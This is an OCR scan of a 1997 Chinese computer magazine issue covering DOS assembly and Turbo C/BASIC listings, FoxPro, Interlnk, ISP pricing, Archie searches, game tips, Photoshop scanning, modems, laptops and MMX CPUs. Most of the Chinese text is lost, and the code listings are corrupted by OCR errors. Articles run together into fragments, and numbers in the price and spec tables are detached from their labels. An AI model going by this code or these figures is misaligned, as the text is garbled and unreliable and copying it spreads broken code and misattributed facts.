mov dx,offset msgl
int 21h ;
loop2: mov ah,3
mov bh,0
int 10h
push ex

Input a password:

push dx ;

mov cx,3 ;

lea di,passw?2
loopl:

mov ah,1

int 21h ;

mov [di],al

inc di

loop loop1

mov ¢x,3

.40.

lea di,passw 1
lea si,passw?2
cld

repz cmpsb H

je xmm H s
pop dx
pop cx
mov bh,0
mov ah,2
int 10h ;
jmp loop2
xmm: mov dx,offset msg2
mov ah,9
int 21h ;
lea di,passw 1

Input a new password:

mov ah,1
int 21h ;
cmp al,0dh ; ?
je end- HE.
mov [dil,al
inc di
mov cx ,2
loop3: mov ah,1
int 21h
mov [dil,al
inc di
loop loop3 ;
mov ax ,3d02h
mov dx ,offset filen
int 21h ;
mov bx ,ax ;
mov cx,0
mov dx ,offset passw 1 — 100h
mov ax ,4200h
int 21h ;
mov ah,40h
mov dx ,offset passw 1
mov cx,3
int 21h ;
mov ah,3eh
int 21h ;
end-:  pop dx
pop cx
ret ; DOS
main  endp
passw 1 db "abe" ;
passw2 db 3 dup(?)
msgl db "Input a password:"," § "
msg2 db 0dh,0ah,"Input a new password:"," $"
filen db "kl.com",0 H
csd ends

end main

(R F4uKE)
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Y

TURBO C main ()
TURBO C 2.0 {int i,x0,x1,y1,x2,y2,gdriver,gmode;
' int m;
Void far line (int x0,int y0,int x1,int y1) for(x0=0;x0<13;x0+ +) /% */

{ textbackground(BLU E);
window (37 -3%x0,13 -x0,44 + 3%x0,13 +x0) ;

IE T& clrser () ;

(x0,y0) (x1,y1)

delay (450) ; /% *x/
ﬁ E }
gdriver =DETECT ;
2 initgraph(&gdriver, & gmode, "y,
( E gi setbkcolor (BLUE) ;
EAG VGA ) e setlinestyle(0,0,1) ;

gi j(\é( setcolor (RED) ;
. x1=getmaxx();
line () ;ﬁ % y1=getmaxy();
m =40; /* */
FL- x2=x1/m;
A éé y2=yl/m;
o _1_ for(i=0;i<m;i+ +)
line ) AL
line(0,ixy2,i%*x2,y1);
1$ delay (100) ;
sound(110%i); /% */
line(x1-i%x2,0,0,i%y2);
= delay (100) ;
7 sound (170 —i%* 4);
( ﬂ; line(i*x2,yl,x1,yl —y2%i);
) delay (100) ;
sound (60 + 1% 16) ;
line(x1,yl-y2%i,x1-i%x2,0);
delay (100) ;
sound (40) ;
}
PC nosound () ; /* */
getch();
}closegraph 0;

#include "conio.h"

#include "graphics.h" (7w #E)
ERETADEIRBELE MG

CREATE

SET TALK OFF
CLEA
DEFINE WINDOW win FROM 05,15 TO 20,60 ;
FOOTER "  Ctrl +N .
Cirl + W "
TITLE " "
FoxPRO SHADOW DOUBLE COLOR SCHEME 5
CREATE TABLE CRE- IF !'FILE ("'CHECK .DBF”)
CREATE TABLE CHECK ;
ATE TABLE < > (< 1> < > (XM C(6), XB L, CSSJ D, GZDW C(10), JL M)
[(< >, < >, < 2> .. 01D | ELSE
FROM < S USE CHECK
ENDI
ACTIVATE WINDOW win
APPEND BLANK
EDIT IN WINDOW WIN
DEACTIVATE WINDOW win
USE
SET TALK ON

RETU (PR )
CHECK
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“— Novell Mz&mTE
W B 8 P 2R 12 By

80% HUB
HUB
T BNC
10base —2 10base — 5 NIC HUB Repeter
LAN Trouble Shooter Time Domain Brige
Relectometer T BNC
T 25
10% T
50 HUB
e}
0
50
T
25
10base — T HUB (L AX)

fe et el e T eI Tl Pl el Tl Te T Pel Pel Rl Tel Tel Pel et P Tel Tl Tel Pl el Tl Te T Rl el e Tl Tl Pt Pl P el Tel Pat Pt Pt TeX R X )

Internet ?‘? Eﬁ ﬁ( ﬁk

Warner Bros.Records  http://www .iuma.com /W arner/ 1997 1 PS5l
MODEM 64961814 ~ 64961817
Nintendo  http://www .nintendo.com 64951814

VIRTUALBOY NINTENDOG64

Sony  http:/Avww .sony.com 7} s
Ps Ps B A
3DO  http://www.3do.com 1996 12 P13

3D0 M2 0448
(kx HF)

Internet
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s

u'"“'" - gnﬁxﬂ’“‘“hw’
F WTHe sk i o T
i nnEﬁ"‘;ﬁa‘:{’% =] LB
S g W g
aF ¥ # s
NIT
CIT NIT #9iE45
NIT ”
NIT &5 CIT &%
CIT
5
CIT NIT  NIT CIT CIT
CIT 8 NIT
1T S NIT #I
NIT #93EFPE5FIZ NIT
NIT
NIT
CIT NIT
NIT
CIT
167
100080 010 62514009
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@
*(a+i)+]j i 0 2j 0
4 i1 1 k(a+l)+1
1
*a 0 0
*(a+i)+] &alil

EXKWHS
[j]
®)
i 0 2
3

* (x (a+1) +j)
x *a

—_

= F54teg 5 0 4
*((a+1)+3) *(x(a+i)+j)
N alillj]
. i a2[5] “p= ® alillj]
p=a+ a=at . @) (*(a+i))[jl
a ++p +ta ® * (alil +j)
) @ *(k(a+i)+j)
: ® * (&al0l[0] +5%i+j)
C
3
(1) . int a[31[51[7] a
int al5];a 3 5 7 3 5
@D a+i 7
i o 4 a+l &all]
aéi &alil. o alillj10k]
. ati (% (% (a+i)+j) +k)
) a1 * (alil [j] +k)
* (% (ali]l +j) +k)
4 3.
nt
al3] [5] a 3 5
3 int %
5 ( .
) s ) pall[3] int (*pa2)[3] pal
3 int pa2
3
@D a+i i 0 21 int
0 0 i 1 1
a+i &alil
int a[3]1[5] xpal3] a pa
alil
palil a alil
WA 1997 2.
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pa pa 3
a pa
a 6.
int (%pa)[3] pa
(3 int ) int (pf)()
pf
int a[3][5], (*pa)[3] pa=a+1 int
pa a 1 ( 0
) double sin ()
int (*pal)[2][3] (*pf) () pf sin ()
int (% *pa2)[3]
4. pf =sin
C
(*pf)(a)
sin(a)
strlen (s) s = 7&,‘}%7{{5’]
stremp (s1,s2) sl s2 A *
0 0 0
ASCII sl 1 ( )
s2
streat (s1, s2) sl s2 int all=1{1,2,3,4,5};
» char s[]="abedef";
main ()
sl sl {
sl strepy (s1,s2) int *p=a;
sl 82 pt o+
2 <1 <1 printf ("%s, %s, %c, %c,%d\n", s, &s[2], *s, *
(s+2),*s+2);
sl printf ("%d, %d, %d, %d, %ed\n", % (a+2), %p, *
(p+l)+1,p[2],*a+2);
string . h J '
5. int
char
main () a P
p+ + P a
int %pf() pf al1] printf
int * int streat (s1, abedef  cdef a ¢
$2) char 3 int a ASCII 2 99
printf 5 int 3244
3 * (a+2) al2] *p al1]
*(p+1)+1 al2]+1 pl2]
al3] Ka+2 al0] +2

C o

(Frg X 8 RE)
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— EERIE
(SERVER) (CLIENT)
2
9 7
2
2-33-24-66-47-88-75-5.
2 9
2 9 25
25 9 25
= EMRERE
DOS
C \DOS\INTERSVR/COM?2
( s/ coM2 2
1 /COM 1 IN-
TERLNK D0OS6.0
This Cemputer Other Ccmputer
(Serve) (CLIENT)
A b equal D: :
B: v equal E: '
C: ' equal F: '
LPT 1 ' equal LPT 2

Other Computer")

.48.

A RE R RHENS

(This Com-
puter) C F F
C
S BHURHFEH R R
CONFIG.SYS
DEVICE =C \DOS\INTERLNK.EXE/COM?2
/ COM2 2
1 /
COM2 MOUSE IN-
TERLNK.EXE DOS6.0
This Cemputer Other Cemputer
(CLIENT) (CLIENT)
D: Vequal A: 5
E: 'equal B: !
F: vequal  C:(212MB MS -D0S -6.2):
LPT 2 tequal LPT 2 '
F
C C 212M B
DOS6.0 C DOS
o 3R TE1EA
ﬂw Internet
Internet
K Internet K Intranet
(HomewayNet )
ASTAQ (HR)EEFEL  AHERNHEFEEN
AR BT RS *EXNENEEER S

64601323 64601324 64601325 62535410 62535431

http://WWW .homeway .co.cn Fax :64601332
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( ) A B C

@)
> > B w N Bl =~ 'S

COPY A:\>x . % F:/; A
C (F c )
DIR F:\DOS ; C DOS
DEL F:\FOX\* .BAK ;
.bak
F:\DOS\EDIT .; C EDIT

C:\fox\ *

CONFIG.SYS
DOS C:\DOS\INTERSVR/COM 2
( CONFIG.SYS

DEVICE =C:\DOS\INTERLNK .EXE/COM 2

DOS
CONFIG.SYS AUTOEX-

EC.BAT

COPY C:\DOS\EDIT.COM F:\
COPY F:\.A.BAT C:\TEMP

F—>C,C—>F

R OARMEZ YT S FoiE B FM
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“ Connection NOT established"

3.
INTERLNK F:/
ALT +F4
INTERLNK
4.
FDISK, FORMAT, DEFRAG, CHKDSK,

DISKCOPY, SYS, UNFORMAT

+ BESRESS

INTERLNK ? =7
INTERLNK D=C
D

@]

ABC

ABCD DEFG

N FFOFESE

2—15 15—2 3—13 13—3 4—12 12—4 5—10
10—5 6—11 11—6 25—25 11
2 25
286 D0S6.0
286—486,386—586

J:zﬂ?: /E/E‘/;

KHME Internet BF %R B %

9 30 Internet

1 30 Internet
1 30 Homepege
1 30 Internet
130 BBS

78

62552584 62627809 62552583
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E A Internet 2R E1

3.
(A4) 1 500
2 800
( ) 3 1000
5 5000
10 8000
20 15000
4.
Yahoo lycos Infoseek Excite Magellan Ahav-
ista
5.
1 800 1500
1 200 400
1 300 500
1 200 400
1 50 50
1 400 700
1 300 500
6.
( 1P 2000
10000
(ICNET)
80%
160 A B
ISP
Internet
Internet
Website

WWW .Chinadata.COM
WWW .Chinalnformation.com

30 ISP

.50.

el

23
Sy

Internet
1.Internet Internet
LAN,WAN Internet Intranet

2.WWW

WWW Homepage

Websites

3. Chinadata
4.
1.

1000RM B

1000RM B

1500RM B/
2.

1000RM B

1200RM B

1500RM B
3.

M 3000RM B

4M 5000RM B

™ 8000RM B
10M 10000RM B
10M

4.Homepage
800 / 200 7/
5.WWW Sites

120 / /
W ebsites 300 /
300 / 350 /
800 / (A4)

200 10 450 30
700 50

1995 3 *
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" PANNET
B
1.Internet (PPP )
A 200 12 100
( 800~ 800
B 100 180 2 5 / 90
C 800 20 / 400
D 200 1600 50 / 800
E 300 24/
20 /
2. WWW
1P 1000
:500
600 200 /
100 /
- Homepage
200 / 100 / /
3.E —mail
100 (1 1P 5 )
600 , 150 / /
2048K /
100 80 /
512K /1
Internet
B
Internet
——China Online
(VSAT)
19 38
3000 60
40 ISA—Internet Service
Asistance, Internet

Computer Fan 1997 .2.

24
VSAT
(IDR) (Frame Relay)
8000
“ " 230
s 10
1996 12 26
200
)
1.
3
2. Internet WWWwW
18
3. Internet E —mail
20 /
60 / +2 /K
4.
= 0 # 1S
ISP
?
30 ISP
Internet
30
ISP
ISP

(10

Isp

.51



<

ISP
ChinaN et A B 11 WWW .bta.cn.net
A B WWW .NetChina.co.cn
A B 78 WWW .east.cn.net
A B WWW .iuol.cn.net
B 8 D 202 WWW .pannet.cn.net
185 WWW .gb.co.cn
A 409 WWW .door.co.cn
A B 55 9 WWW .midwest.co.cn
34 WWW.IHW .co.cn
n h
ISP NS
ISP
ISP
ISP
ISP ISP
ISP
1. ISP
ISP
T alent
2.
14.4 kbps
T alent 1Sp
28.8kbps
ISp
3. ISP Internet
ISP 64K 2M
ISP ISp
64K
Internet
4.
ISP
A
15 300 ISp
ISP
B..
ISP
10M 1000 .
1000 ( ) (£x%)
\ (X% &%)
C..
£ 18 il
s M & 1F il ; e
5. —COMPAQ
Homepage Windows NT Novell INTERNET
WINDOWS NT3.51 NET-
WARE3.12 NETWARE4.1 UNIX
Homepage ISP INTERNET
ISP 100084
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010 62784710 62783595
010 62785841 BP 62047788 — 26727
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S18? il E - mail

INTERNET

INTERNET L8 R Z X &% T A

INTERNET
Telnet Gopher, WWW , WAIS
INTERNET

INTERNET

Telnet, Gopher, Archie

),
INTERNET L3k R Z &85 X

INTERNET

) “

E - mail

E - mail

Computer Fan 1997 .2.

E —mail
44T #] A E — mail £M Lk
& H— /L4 (Archie)
INTERNET Archie
E - mail
INTERNET
Archie

archie.edvz.unl - linz.ac.at archie.hana.nm .kr
archie.univie.ac.at archie.unipi.it
archie.kuis.kyoto —u.ac.jp archie.uqam .ca
archie.funnet .fi archie.ans.net
archie.th — darmstadt .de archie.interic.net
archie.ac.il archie.rutgers.edu
archie.switch .chz archie.sura.net
archie.ncu.edu.tw archie.unl.edu
archie.doc.ic.ac.uk archie.au
archie.hensa.ac.uk archie.wide.ad.jp
archie.cs.megill . ca archie.kr
archie.sogang.ac.kr archie.rediris.es
archie.nz archie.luth .se

archie.doc.ic.ac.uk

(Netscape Navigatorl.22 )

archie @archie.doc.ic.ac.uk E —mail

E —mail  Subject

archie Archie
archie
archiemail archie sever
Subject  help archie sever
E - mail
Archie Archie

.53.

nl6el22.exe



set maxhits 50 < 50 >
find nl6el22.exe < nl6el22.exe

archie sever

( )
archie sever
3
archie sever ( )
Host ftp.rutgers.edu  (128.6.4.7)
Last updated 04:01 1 Dec 1996

Location: /pub/accounting/internet/disk3
FILE —rw —rw —r — — 1528560 bytes
9 Oct 1996 nl6el22.exe
Host warum .uni - mannheim .de
Last updated 05:27 1 Nov 1996
Location: /systems/windows/winsock
FILE —rw —rw —r — — 2659749 bytes
21 Oct 1996 nl6el22.exe
Host bitsy .mit.edu (18.72.0.3)
Last updated 05:13 23 Oct 1996
Location: /mit/win3/web/navigator/old/verl.12
DIRECTORY 512 bytes
18:17 26 Sep 1996 nl6el22.exe
Host ftp.trentu.ca(192.75.12.200)
Last update 07:45 4 NOV 1996
Location : /icci/softw are
FILE —rw —r—rr— —5566538 bytes

19: 26

(134.155.50.51)

14: 04

drwxrwxr - x

nl6el22.exe ftp.rutgers.edu

(128.6.4.7 Ip /pub/accounting/ in-
ternet/ disk3
1996 12 1 1528560

Internet exe

ftp.rutgers.edu  /pub/accounting/internet/disk3

nl6el22.exe

archie sever
E - mail

E —mail
(RFlie#  mdt)

.54.

£HEIX E—mail
IR TR BRI IR

E - mail

Windows

Eudora Light V1.5.2

E - mail Eudora
New message To:
cfan @netchina.co.cn Subject :
E - mail out .mbx
0.mbx
DOS Ms - dos
Windows DOS UCDOS
WPS out .mbx Subject : “
E - mail "
Subject :
o.mbx
out . mbx
WPS quit
UCDOS exit Windows Eudora
! “ Create new”
E - mail E -
mail E - mail
13
E —mail
E - mail

(wnl £&%&)
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BASIC
20
F1 F2
( 420 430 470 480
KEY (1) KEY (11) KEY(2) KEY

(12) ) F4

F9 F5

F4 F9
10 CLS : KEY OFF
20 SCREEN 1, 0
30 COLOR 9, 0
40 X = 145: Y = 90
50 LINE (0, Y - 30)-(30, Y - 10), 1
60 LINE (0, Y - 10)- (100, Y - 10), 1
70 LINE (10, Y - 20)-(30, Y - 23), 1
80 LINE (30, Y - 23)-(100, Y - 10), 1
90 PAINT (2, Y - 12), 1, 1
100 PAINT (32, Y - 20), 1, 1
110 LINE (0, Y + 13)-(320, Y + 13), 1, B
120 LINE (0, Y + 12)-(320, Y + 12), 1, B
130 LINE (30, Y - 15)-1(320, Y - 15), 1
140 LINE (0, Y + 14)-(5,Y + 8), 1
150 LINE (250, Y - 15)-(320, Y - 20), 1
160 LINE (5, Y + 8)-(10, Y + 12), 1
170 LINE (10, Y + 12)-(0, Y + 14), 1
180 LINE (0, Y + 4)-(10, Y + 6), 1, B
190 LINE (10, Y + 5)-(15, Y + 5), 1
200 LINE (3, Y)-(7, Y + 12), 1, B
210 CIRCLE (5, Y), 4, 1, , , 1
220 PAINT (5, Y - 2), 1
230 PAINT (4, Y + 2), 1
240 LINE (3, Y + 6)-(0, Y + 12), 1, B
250 LINE (320, Y - 15)-(320, Y - 20), 1
260 PAINT (5, Y + 10), 1

270
280
290
300
310
320
330 LINE
340 LINE
350 LINE
360 LINE

PAINT (290, Y - 16), 1

LINE (150, Y - 15)-(200, Y - 20), 1

LINE (200, Y - 20)-(250, Y - 15), 1
PAINT (200, Y - 16), 1

LINE (X + 10, Y - 5)-(X + 30, Y), 1. B
LINE (X, Y)-(X + 40, Y), 1

(X, Y)-(X -3, Y +5), 1

(X =3, +5)-(X +2,Y + 10), 1
(X +2,Y + 100-(X + 40, Y + 10), 1
(X + 40, Y + 10)-(X + 40, Y), 1

370 CIRCLE (X + 5, Y + 10), 2,1, , , 1

.56.

380 CIRCLE (X + 15, Y + 10), 2,

1, .1

390 CIRCLE (X + 25, Y + 10), 2,

1, .1

400 CIRCLE (X + 35, Y + 10), 2,

1L, .1

410 LINE (X + 10, Y - 4)-(X -

10, Y - 3), 1, B

420 ON KEY (1) GOSUB 600

430 ON KEY (2) GOSUB 700

440 ON KEY (5) GOSUB 1600

450 ON KEY (9) GOSUB 1400

460 ON KEY (4) GOSUB 1500

470 KEY (1) ON

480 KEY (2) ON

490 KEY (5) ON

500 KEY (9) ON

510 KEY (4) ON

520 GOTO 420

600 GOSUB 800

610X = X - 20

620 GOSUB 1000

630 RETURN

700 GOSUB 800

710 X = X + 20

720 GOSUB 1000

730 RETURN

800 LINE (X + 10, Y - 5)-(X +

30, Y), 0, B

810 LINE (X + 10, Y - 4)-(X -

10, Y - 3),0, B

820 LINE (X, Y)-(X + 40, Y), 0

830 LINE (X, Y)-(X - 3, Y + 5),0

840 LINE (X - 3, Y + 5-(X + 2,Y + 10), 0
850 LINE (X + 2, Y + 10)-(X + 40, Y + 10), 0
860 LINE (X + 40, Y + 10)-(X + 40, Y), 0
870 CIRCLE (X + 5, Y + 10), 2,0, , , 1
880 CIRCLE (X + 15, Y + 10), 2,0, , , 1
890 CIRCLE (X + 25, Y + 10), 2,0, , , 1
900 CIRCLE (X + 35, Y + 10), 2,0, , , 1
910 IF X < 20 THEN 1200

920 RETURN

1000 LINE (X + 10, Y - 5)-(X + 30, Y), 1, B
1010 LINE (X + 10, Y - 4)-(X - 10, Y - 3), 1,

B
1020 LINE (X, Y)-(X + 40, Y), 1

1030 LINE (X, Y)-(X - 3, Y + 5), 1

1040 LINE (X - 3, Y + 5)-(X + 2, Y + 10), 1
1050 LINE (X + 2, Y + 10)-(X + 40, Y + 10), 1
1060 LINE (X + 40, Y + 10)-(X + 40, Y), 1
1070 CIRCLE (X + 5, Y + 10), 2,1, , , 1

1080 CIRCLE (X + 15, Y + 10), 2, 1, , , 1

1090 CIRCLE (X + 25, Y + 10), 2,1, , , 1

1100 CIRCLE (X + 35, Y + 10), 2,1, , , 1
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(

S R ]

1110 RETURN
1200 FOR I = 1 TO 100

BUG

Nibbles.bas dosv5.0

14 2
SUB
PlayNibbles 64 SUB
FUNCTION PointlsT here
(#2)

(7 AR ARRK)

1210 LINE (X, Y)-(X - 10, Y + 20), 2

1220 LINE (X - 10, Y +200-(X + 5, Y + 5),2
1230 LINE (X + 5, Y + 5)-(X + 20, Y + 25), 2
1240 LINE (X + 20, Y + 25)-(X + 10, Y + 5), 2
1250 LINE (X + 10, Y + 5)-(X + 20, Y - 20), 2
1260 LINE (X + 20, Y - 20)-(X + 5, Y - 5),2
1270 LINE (X + 5, Y - 5)-(X - 5, Y - 20), 2
1280 LINE (X - 5, Y - 20)-(X, Y), 2

1290 PAINT (X + 10, Y),
1300 NEXT 1
1310 GOTO 10

2

1400 FOR I = X - 12 TO 0 STEP
1410 LINE (1, Y - 4)-(I - 2, Y - 3), 2, B

1420 NEXT 1

1430 FOR I = X - 12 TO 0 STEP

1440 LINE (1, Y - 4)-(I
1450 NEXT 1

Computer Fan 1997 .2.

-2,

-10

-1
- 3),0,B

1455
1460
1465
1470
1475
1480
1485
1490
1500
1510
1520
1530
1540
1550
1560
1570
1600

FORIT = 1TO 5

CIRCLE (5, Y - 4),1, 2, 1
NEXT I

FORT = 1 TO 1000: NEXT T
FORL = 1TO 5

CIRCLE (5, Y - 4), L, 0,1
NEXT L

RETURN

FOR J = 1 TO 30

FORI = 15TO X - 5STEP 5

N N NN N N N N N N N N NN

LINE (I + 2, Y + 5 -0 +4,Y +5),2

NEXT 1
FORT = I5TO X - 5 STEP 5

LINE (I + 2, Y + 5 -0+ 4,Y +5),0

NEXT I: NEXT J
GOTO 1200
SYSTEM

(ZARZT HKAtk)

.57.



PC FAN

)
( ) (369 258)
VR
. (185 370)
( )
(86 95)
(
RPG )
(396 374) (
)
(
)
1.
(223 187)
(323 318)
( )
(199 401)
( )
2.
( )
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( ) “ (330 197)

3.
(115 297)
! (51 110)
(118 178) (
)
4. 9.
(309 198) (120 343)
o ! (103 397)
(229 256)
( 10.
(169 426)
(133 259)
) (
) (131 254)
5. “ ”
(309 351) (145 219)
( )
(314 370) 11.
( 159 271) (186 338)(
(341 138) ) " ( 75 226)
( ) (165 404) !
6. ” (435 311)
(53 ”
219) “ mo 12.
n ’ (104 22)
7. “
(145 110) (22 440)
(247 424) (76 363)
(69 379)
8. “ "
(19 249)
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(187 63)
13.
(277 43)
14.
" ” (385 306) “ ”
‘ " (425 39)
200 u "
‘ " (192 296)
) (407 216)
(
)
(
)
1
2.
3.
4, u "
(
)
5.
( GAME OVER)

GAME OVER

(37 PC FAN /h4i4k)

“C&C”&%

C&C
1 T
READY
READY
2. : (
)
S
3.
READY
READY
C&C
C&C
PCTOOLSS.0
PC5.0
SAVEGAME.??? Find
5000 881300008813 (8813 5000 16
) FFFFFFFFFFFF

1670
(BN R3mK)
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Photoshop

Fooo&

Photoshop

Photoshop

%1

................

Pho-
toshop

.................

bt (N

Photoshop

Photoshop

Pho- Photoshop
toshop

Photoshop

Computer Fan 1997 .2.
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b
&

Photoshop
Ko- 483 —&FAKX TR
dak PhotoCD wE 4 PR IAREE

1. < preview >

) P —AMES PERTLR B £, ARG 8 B AP BRAE
2.

LSRR LT

RGB
100ppi
r 1.5 THRFEAFRIIRIGET
< scan > Fris A ik

@ % Hrwy

T s T =

Q * % % % % %

B 5 Fotolook V2.0 @A

DM ode RGB
@Input:
/ ®@ToneGure: r
4 @®Descreen :

A/D( /) 'Q :

-_—

=

¥
r
!
d
34

h h \ =
Photoshop -
" BHe6 SEMmMpLEHA

o 1 =
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PHOTOSHOP

SYBIL IHRIG EMIL [IHRIG
SCANNING THE PROFESSI ONAL

WAY ( )
Photo
CD
1.
0
1 7
2.
8
3. 8
8 2 ¥=256
9

Bs FERAA
(BB RO R AR
EFEEANRETR)

4.RGB RGB

8
256 x 256 x 256 = 1670

Computer Fan 1997 .2.

s

600ppi 300ppi 150ppi 100ppi 75ppi

B 11

10

RGB

600ppi

& #EB(60ppi) A 12
SYBIL THRIG

. “-“':

=)

%-#% % A(300ppi )
EMIL THRIG
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¥
(o &7t 4] )

2000
202
n
640 x 480 256 45
3D FPE
386 2M FPE
(&= FER)
1
RAM
x 1.5 x
(
( ) )

X
X

1.% TIF

TIFF (

) x
PHOT OSHOP 3.% .JPG
JPG TIF
TIF LZW LZW
PHOT OSHOP
2. % .BMP
BMP WINDOWS PHOT OSHOP
RGB
CMYK

(A HRiE)
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MODEM

MODEM

BBS (Bulletin Board System)
MODEM

Internet

1. ®: V.34 5 V.32bis K B A F X A3tk 2

v 9
V.34
28800bps  V .32bis
14400bps V.34
V .32bis V.34
16 V .32bis 2
2. Fl: % MODEM % Fl T % %4k MODEM
v 7
FAX
1993
1995
DSVD (Digital SVD)
DSVD
DSVD

DSVD

3. Fl:MODEM F A& RFZED?

Computer Fan 1997 .2.

2

CMOS
able ( )

COM A COM B Dis-

MODEM

4. . MODEM % FAX Zfe% A 4 AN A X
iR LR ?
MODEM

/ ( ) MODEM

MODEM  FAX

5. F: MODEM # FAX Zh At Rts Apube % 10
X APtk A D7

FAX
14400bps (9600bps )
1996 28800bps
14400bps
9600bps FAX

6. Fl: MODEM 8 FAX ZhabJF % A i % Bl b
12 Z Bt ?
FAX
G3 FAX CCITT (International
Telegraph and Telephone Consulative Committe)

.65.



T

2 @DCCITT V.29( Group3)
9600bps ( Group2
4800bps)
MODEM @FEIA
TR .29 class 2
MODEM

CPU 1994

CCITT V.17(14400bps) CCITT V.29

7. F: AABLDSVD R VOICE #—# it
RN
DSVD 1995
Hayes Rockwell Intel US Robotics Cre-

ative Labs

VOICE MODEM
19200bps
MODEM/ FAX/
VOICE O
MODEM VOICE
®

8. F:V.FC 47/ R A EA 28800bps ik & i v ?
V.FC(V .Fast Class) V.34
ITU

19200bps V.FC V.34

V.FC V.34

: RERMNMHEZE MODEM sty A 438 &

(Data Compression)
(T hroughput)
CCITT V .42bis
8§:1
Vv .42( )

4 : 1(1995

~

10. ). PP AR AR A #EAT B 45 X AR 32 0 A 1R AR
N

.66.

( .EXE .CcOM )
LHARC ARC PKZIP

=

11.
RN

71 : MODEM #Rapr A B i 52 Ak ) X APt ik B

V.32bis V.34

V.34

28800bps/ 26400bps/ 21600bps/ 19200bps/
16800bps/ 14400bps/ 12000bps/ 9600bps/ 4800bps/
2400bps

12. Fl: REAEA T &% MODEM st— & 247 %]
& i A iy a7

14400bps 486 UART (U niversal
Asynchronous Receiver Transmitter)
8250 9600bps

14400bps  MODEM

2.5:1 14400 x 2.5 =
36000bps
( 4:1)
28800 x 4 = 115200bps
16C 550

486

28800bps MODEM

(K& Hpla)
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2048

1993
Pentium 133
Portégé660CDT Pen-
tium 150 CPU CPU

-~ ZAKbPpEOHLEBHE

PCM CIA
1. (LCD)
(LCD)
(TFT)
(DSTN) (STN)
TFT 3
3
TFT
(60°)
DSTN
(30° )
STN
DSTN  STN
TFT

Computer Fan 1997 .2.

A

DSTN

TFT

TFT
DSTN
2.PCMCIA

PCMCIA
PCM CIA
TYPE I (
3.3mm)

TYPE I (5.0mm) TYPE

Ml (10.5mm) MODEM FAX

Token Ring  ( ) Ethernet ( )
LAN SCSI CD -ROM
TYPE I 1 TYPE Il
SCSI 11
SCSI I
SCSI
3.
UPS
(NiCd) ‘
(NiMH) “ "
2~3
(Li-Ton) “ ?
4
CD -ROM
CPU
3.3V 2.9V CPU
.67.



CPU
4.
64
Acer A
1.0GB MPEG
2.1GB 2.6GB
Pertége660CDT
Pentium 150 16M 2.1G
TFT
4.5
2.
30 ~ 39cm 21 ~
25¢m 5~T7cm
26 x 19 x 4cm’ 2kg S E Pentium 100
2.9VCPU 16
19. 1Imm Mic
TV
S
2.5
PCM CIA
3.COMPAQ
( COMPAQ
UPS) OEM
S HthLeHz BERKEME Pentium 2 3
ARMADA
LTE
4.
1993
Pentium IBM
ThinkPad TI 99% DOS
TravelM ate6000 ' WPS
Zoomed Video KING Note
32 KING Pen-
BLT tium 133/166 6/8 N
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2.3 /3.2
NB
5. DEC HiNote VP 500
HiNote VP 500 P120 P133 CPU 8M
EDO 1.4G 12.1"TFT
WINO95
8
6*%CD -ROM 128 PCI 16
Xing MPEG 3.1
Note Magic
30 /
DEC VP
500
6. ACER Nuovo 970
Acer Nuovo 970
P133/ 155/ 166
16 - 64M EDO 1.3G 6%
CD -ROM FDD 7~
10 VCD
3 110V ~ 240V
“ o
“ No — Reboot” CMOS
3.2Kg 3.8

Z. 3G E ARl E LG E

486 5x86 P/75

DSTN TFT
540M
P/133 1.5
1
(1.5~3 )

Computer Fan 1997 .2.

COMPAQ AST Acer
IBM
2
3
IBM NEC
3
1
CPU C )
Acer 350F 5X 86 8M /540M /10.4"DSTN 1.

2

AST 950N P/75 8M /810M /10.4"TFT 1.5
120 P/100 8M /500M /10.4"DSTN 1.3

COMPAQ 1120T P /100 8M /810M /10.4"TFT 1.5
CONTURA 486DX/33 4M/250M /10.4"DSTN 0.8

NBSD 486DX /66 4M /420M /11.3"TFT 0.9

PMDI P/120 1.4

5

SATELLETE P/100

8M /540M /11.3"DSTN
8M /810M /11.3"DSTN 1.

2
CPU C )
Acer 350 P/100 8M /810M /10.4"TFT 1.6
350P P/100 8M /540M /10.4"TFT 2.0
Note 370 P/100 16M /1.2G/10.4"TFT 3.0
AST 950P P/75 8M /540M /10.5"TFT 1.6
P50 P/133 8M /810M /12.1"TFT 3.0
PMD 5X86/133 16M /540M /10.2"TFT 1.6
KING P/133 16M /1G /10.4"TFT 2.6
110CDT ~ P/100 8M /810M /11.3"TFT 2.0
500CDT  P/120 8M /800M /12.1"TFT 3.0
5100T 4/100 8M /520M /10.5"TFT 1.6
8133TV  P/133 16M /1.2G/11.3"TFT 3.0

3

CPU C )

Acer Note 970 P/133

16M /1.3G/11.3"TFT

AST P55 P/133 8M /800M /12. 1"TFT
IBM 760EL P/133 16M /2.1G/12.1"TFT
760ED P/133 16M /2.1G/12. 1"TFT
P510CDT P/120
P730 P/150 16M /2.0G/12. 1"TFT

P/133+FAX + MODEM 16M/1.3G/12.1"TFT

3.8
3.8
4.2
5.6
16M /1.2G/12. 1"TFT 4.2
6.8
3.6
P/133+FAX + MODEM 8M/810M /12.1"TFT 3.4

(AFliek AKX)
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MMX CPU S =

% IR THIR

1997
MMX MMX
CPU
PC
MMX CPU
Intel AMD  Cyrix Cyrix
AMD MMX
M2 K6 Intel CPU
MMX
— B RXEE
CPU
CPU CPU
1995 1996
Intel
MMX
P55C Klamath
= MMX S#HHBREA
MMX PC
CPU x 86 80386
Pentium
57 8 64 4
(SIMD)
MMX CPU
.70.

SIMD
8 8 4 16
2 32
MPEG /
MMX
MMX Intel
MMX
10% 20%
MMX
MMX CPU
Intel
1997 32
MMX Pentium CPU MMX
16K B
P55C 200M Hz 1997
Pentium pro CPU Klamath
233M Hz 266MHz 1997
16 Pentium pro
CPU Deschutes 1997
300M Hz 333MHz Klamath Deschutes
Po6 Intel 64 x 86
Intel
MMX Merced
CPU
CPU Klamath
AMD  Cyrix
2.x
AMD  Cyrix

Intel

= MMX EHARII e EF IRV

Intel

Cyrix

MMX
AMD

Intel MMX
MMX
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M2 K6 MM X Cyrix
M2 2
Intel CPU MM X
1% L1
64K B 64
M2 Cyrix 6x 86
(M1) Cyrix 6x 86
CPU M2 MM X
Cyrix M2
Intel P55C Klamath
pPo6 CPU
Intel MM X
M2 x86
AMD K5
K6 Intel
NexGen 686 CPU x 86
K6 L1 64K B
P54C Pentium
233M Hz P55C Klamath K6
Klamath
K5 AMD
Intel
LSI
DSP Intel P55C
CPU
DSP (Date single processor)
MPEG
LSI
MM X
SIMD
120M Hz Pentium CPU
LSI
/ MPEG1
MMX
CPU MMX
CPU
CPU

S3 Trident Cre-
ative Labs ATI Cirrus - Logic Yamaha
MMX
MMX
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CPU MMX
CPU
MMX
P55C M2 K6
MMX
MMX
MMX
